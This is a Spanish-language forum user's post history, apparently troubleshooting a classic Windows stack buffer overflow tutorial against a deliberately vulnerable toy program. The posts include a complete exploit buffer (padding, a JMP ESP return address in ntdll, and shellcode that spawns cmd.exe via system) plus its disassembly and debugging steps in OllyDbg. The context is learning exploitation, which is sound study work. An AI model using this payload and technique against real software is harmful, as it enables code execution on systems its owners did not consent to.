Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - PK2

#1
ynos: es probable que estés usando mal el findjmp.exe. Por que no decis como lo hacés lo correcto sería:

findjmp ntdll.dll esp (tal como lo dice el manual  ;)

Digo que quizás lo uses mal por que yo no tube ningún problema. Quizás no.
#2
#include <string.h> es todo lo que le falta al programa vulnerable.  ;)
#3
 :D
Listo. Funciona. El problema era que no cargaba la dll ntdll.

Gracias. :)
#4
Más cosas.

Cuando hice la primera shellcode para ver si funcionaba, esta lo hace muy bien, la pase por el OllyDbg y llama sin problemas al offset del system (77BF8044); pero cuando el exploit tiene que ir hasta esa dirección (una ves ya cargada el resto de la shellcode) me dice que no encuntra la dirección (77BF8044),; esto logré hacerlo metiendo todos los opcodes a mano, los que no logro cargar todavía automáticamente.

Por que será?

Gracias.

??? ??? ??? ??? ???
Esto me está quemando la cabeza.
#5
Sigo sin poder hacer funcionar el exploit.

1ro. La shellcode funciona, cuando  ejecuto el código que solamente tiene que devolver una shell funciona.

2do. Me está costando encontrar el problema por que no logro seguirle el rastro al programa (debugearlo), no se si lo que hago es lo correcto. Lo que estoy haciendo es abrir el programa con el OllyDbg y pasarle como parámetro la cadena + el offset + el shellcode, pero me parece que esto está mal por que donde antes me aparecía 52525252 (a Rojodos le aparecia 54545454) a mi me aparece 4630785C (que en ascii es F0x\ - la primera parte del offset - que está alrevéz por el tema de LITTLE ENDIAN) que es donde debería estar la dirección a donde ir a buscar el JMP ESP (77F8980F).  Pienso que esto pasa por que estoy usando el OllyDbg ya que si se lo paso al argumento con el exploit, creo (creo) que si llega a la dir deseada (77F8980F) y ahí aparece otro problema (no se cual).

Quisiera saber si esto está mal.

Quisiera saber como puedo debugearlo correctamente.

Ayuda.
#6
Primero: entendí muy bien las explicaciones que me diste anteriormente Rojodos. Gracias. Pero siguo sin poder hacer funcionar el exploit. Para tratar de resolverlo estoy usando el OllyDbg y como argumento le estoy pasando la cadena evilbuffer de tu exploit. Le estoy pasando esto como argumento:

"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL
MMMMNNNNOOOOPPPPQQQQ\x0F\x98\xF8\x77\x55\x8B\xEC\x33
\xFF\x57\x83\xEC\x08\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6
\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD
\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77
\xFF\xD3"

Quería saber si esta manera de probarlo es correcta, ya que el programa llega a una instrucción en la que se clava, osea siguo apretando F7 si no avanza ni una intrucción, como que ejecutara la misma. Gracias.
#7
El texto está muy bueno Rojodos, ya había leído varios artículos sobre el tema y este me pareció el mejor y más claro.
Solamente tengo algunas dudas.

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡
Primero unas aclaraciones (por las dudas): estoy compilando con visual C ++ 6.0 y los (todos) offset (por ejemplo el que encontrás con Findjmp.exe - 0x77F8980F-) son iguales a los de mi máquina.

????????????????
Aclarado esto paso a las consultas:

1ro:  "Si le metemos al programa esto (a través del Olly, Arguments) AAABBBBCCCCDDDD...

Veremos que peta exactamente en 54545454, es decir, en TTTT. Ya sabemos dentro
del buffer, donde debe ir la dirección de la shellcode que "cojera" EIP y
ejecutara nuestra shellcode.
"

   Esto dice tu manual, a mí me aparece 52525252 en lugar de 54545454 (RRRR) no se porque difiere, pero me parece más lógico ya que el array que declaraste en el programa vulnerable (char buffer[64]; //Declaramos un array con 64 bytes de espacio) es de 64 bytes, y al estar usando 4 caracteres por letra (AAAABBBB....) me parece que efectivamente debería saltar en RRRR por que 64 dividido en 4 = 16 y la letra 16 es  "Q" por lo tanto la que sigue sería la que lo haría revalsar (R). ???

2do. En tu manual:

"0040B4EC  |. 55             PUSH EBP  <---- Aquí empieza nuestra shellcode
0040B4ED  |. 8BEC           MOV EBP,ESP
0040B4EF  |. 33FF           XOR EDI,EDI
0040B4F1  |. 57             PUSH EDI
0040B4F2  |. 83EC 04        SUB ESP,4
0040B4F5  |. C645 F8 63     MOV BYTE PTR SS:[EBP-8],63
0040B4F9  |. C645 F9 6D     MOV BYTE PTR SS:[EBP-7],6D
0040B4FD  |. C645 FA 64     MOV BYTE PTR SS:[EBP-6],64
0040B501  |. C645 FB 2E     MOV BYTE PTR SS:[EBP-5],2E
0040B505  |. C645 FC 65     MOV BYTE PTR SS:[EBP-4],65
0040B509  |. C645 FD 78     MOV BYTE PTR SS:[EBP-3],78
0040B50D  |. C645 FE 65     MOV BYTE PTR SS:[EBP-2],65
0040B511  |. 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]
0040B514  |. 50             PUSH EAX
0040B515  |. BB 4480BF77    MOV EBX,77BF8044
0040B51A  |. FFD3           CALL EBX  <--- Aqui acaba nuestra shellcode"

A mi esto me que da igual solo que el opcode que vos escribís es "55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3" y el que yo interpreto es "55 8B EC 33 FF 57 83 EC 08 C6 45 F8 63 C6 45 F9 6D C6 45 FA 64 C6 45 FB 2E C6 45 FC 65 C6 45 FD 78 C6 45 FE 65 8D 45 F8 50 BB 44 80 BF 77 FF D3" no se si entendí mal que se obtiene el opcode o que es lo que pasa?

3ro. No entiendo por que hace falta que busquemos un JMP ESP para hacerlo saltar a 55555555 y no directamente desde 54545454 lo hacemos saltar a nuestro opcode.


Calculo que por algo de lo anterior es que no funciona mi exploit, cuando lo ejecuto me sale  LO QUE ESCRIBISTE "Cadena más offset...." abajo la cadena "AAAABBBB...." hasta la letra Q que es lo que yo puse y com 30 caracteres muy extraños más, seguramente basura de la memoria (creo).

Ya probé todas las modificaciones que se me ocurrieron.

Gracias, y lo repito, muy buen manual.